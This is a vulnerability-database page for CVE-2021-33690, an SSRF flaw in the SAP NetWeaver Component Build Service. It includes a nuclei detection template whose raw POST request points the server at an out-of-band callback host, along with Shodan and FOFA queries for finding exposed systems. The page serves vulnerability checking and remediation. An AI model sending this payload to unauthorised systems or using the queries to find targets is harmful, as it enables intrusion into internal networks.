HexBrain

Browse / CVEs / CVE-2021-33690

CVE-2021-33690· sap / netweaver development infrastructure· CWE-918

SAP NetWeaver Development Infrastructure - Server Side Request Forgery

criticalseverity
9.9CVSS score
69.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.

Impact

Authenticated attackers can perform SSRF attacks to manipulate internal network resources, potentially accessing sensitive internal systems and data.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /tc.CBS.Appl/tcspseudo
Positive when: contains in interactsh_protocol "dns" AND contains "Could not connect to the CBS"

Run it with nuclei: nuclei -id CVE-2021-33690 -u <target>

The full check
id: CVE-2021-33690

info:
  name: SAP NetWeaver Development Infrastructure - Server Side Request Forgery
  author: DhiyaneshDK
  severity: critical
  description: |
    Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.
  impact: |
    Authenticated attackers can perform SSRF attacks to manipulate internal network resources, potentially accessing sensitive internal systems and data.
  remediation: Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33690
    - https://launchpad.support.sap.com/#/notes/3072955
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=582222806
    - https://github.com/redrays-io/CVE-2021-33690
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-33690
    cwe-id: CWE-918
    epss-score: 0.69075
    epss-percentile: 0.9936
    cpe: cpe:2.3:a:sap:netweaver_development_infrastructure:7.11:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sap
    product: netweaver_development_infrastructure
    shodan-query:
      - html:"SAP NetWeaver"
      - http.html:"sap netweaver"
    fofa-query: body="sap netweaver"
  tags: cve2021,cve,oast,ssrf,sap,vkev,vuln

http:
  - raw:
      - |
        POST /tc.CBS.Appl/tcspseudo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        CBS=http://{{interactsh-url}}&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Could not connect to the CBS"

References

Use this check only on systems you are authorised to test. Where the data comes from